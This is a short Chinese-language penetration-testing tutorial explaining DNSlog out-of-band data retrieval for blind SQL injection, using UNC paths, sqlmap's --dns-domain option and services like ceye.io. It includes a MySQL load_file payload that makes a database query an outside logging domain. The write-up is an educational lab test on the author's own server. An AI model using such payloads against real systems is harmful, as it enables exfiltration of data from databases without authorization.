————背景说明————
在做渗透的时候,有一些漏洞发现无回显的,比如sql注入,一般当我们拿到一个无回显的注入,那么我们往往会采用盲注,使用二分法不断猜测字符等方式来取信息,不过这样的方式耗时又费力,而且频繁地测试容易被目标网站ban掉。那么面对盲注,或者是其他漏洞的盲打,有没有哪种方法,可以快速地获取我们需要的信息呢,答案是有的,即本篇主要说的,利用DNS快速获取数据,官方地讲即DNSlog。
这里涉及到DNS解析过程,UNC,以及一些数据库调用函数。
DNS解析的过程:当应用过程需要将一个主机域名映射为IP地址时,就调用域名解析函数,解析函数将待转换的域名放在DNS请求中,以UDP报文方式发给本地域名服务器。本地的域名服务器查到域名后,将对应的IP地址放在应答报文中返回。同时域名服务器还必须具有连向其他服务器的信息以支持不能解析时的转发。若域名服务器不能回答该请求,则此域名服务器就暂成为DNS中的另一个客户,向根域名服务器发出请求解析,根域名服务器一定能找到下面的所有二级域名的域名服务器,这样以此类推,一直向下解析,直到查询到所请求的域名。
UNC:是一种通用命名规则,也称通用命名规范、通用命名约定。格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。比如在机子hguone上面有个共享文件夹叫niap,那UNC就可以写成\\hguone\niap,当访问域名下的某个文件的时候,也可以试着用UNC。
既然需要DNS解析,可以自己注册个服务器+域名来用,某云服务器一个月十块,域名一年十几块,配置完比如sql盲注就可以直接sqlmap用--dns-domain=域名跑。
其他常用的在线平台,有ceye.io、dnslog.cn、burp自带的 Collaborator client等。
————测试————
这里我使用ceye进行试验。
登陆ceye.io后整体界面如下,记录自己的identifiler地址。
首先DNS查询列表啥都没有
登录自己本地搭的数据库服务器用数据库语句简单测试一下
select load_file('\\\\test.indentifiler.ceye.io\hguone');
test和hguone位置符合unc规则爱写啥写啥
执行以后,ceye上面可以得到相关查询信息